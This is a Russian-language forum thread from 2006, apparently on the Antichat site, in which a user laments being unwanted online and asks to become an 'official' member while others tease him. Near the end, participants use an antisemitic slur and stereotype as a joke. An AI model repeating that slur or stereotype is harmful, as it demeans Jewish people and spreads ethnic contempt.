Блин и Англичане просят того же!....мда.....складывается у меня мнение, что Я никому не нужен на интернете.... =(((((((((((((((((((((((((((((((((((((((
А вот Я уйду да? КТО будет писать тогда Гениальные статьи? КТО будет веселить и смешить народ?
Веселить и смешить народ будет табачок.. у него кстати неплохо получается.. со своими песенками и асталом. За тобой закрепился другой имидж...
гениальные статьи нынче не в моде..! Их все равно большинство не понимает.
Ну ты уйди, а там видно будет..
Девушку себе заведи.. встречайся с ней, люби. На пользу будет.
Web Giant
11.03.2006, 23:48
Ну а если без шуток, ПОЧЕМУ меня нельзя взять как официального античатовца??? О_О
Я хочу тоже быть античатовцем!
я посвящаю тебя в Официального Античатовца! Иди с миром сын мой!
Web Giant
12.03.2006, 21:21
я посвящаю тебя в Официального Античатовца! Иди с миром сын мой!
Мда....ты окончательно рехнулся.....
Web Giant, лоооол =)))))
официальный античатовец! Всё, иди давай куда подальше и не воняй). ты здесь почти никому не нужен.. не ну серьёзно!
Web Giant, лоооол =)))))
официальный античатовец! Всё, иди давай куда подальше и не воняй). ты здесь почти никому не нужен.. не ну серьёзно!
Ну а кому нужен античат? Да никому. Античат это не культ какой то очнись! Это просто место где люди общаются и не более. И не надо из него делать место святости ок? :rolleyes:
ты че еврей вопросом на вопросм отвечать? белый жид ахтунг!
ты че еврей вопросом на вопросм отвечать? белый жид ахтунг!
Кстати да!!!! :D :D :D :D :D
Надо было просто ответить вот в такой форме...
ты че еврей вопросом на вопросм отвечать?
Ррррразве? :cool: :cool: :cool:
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot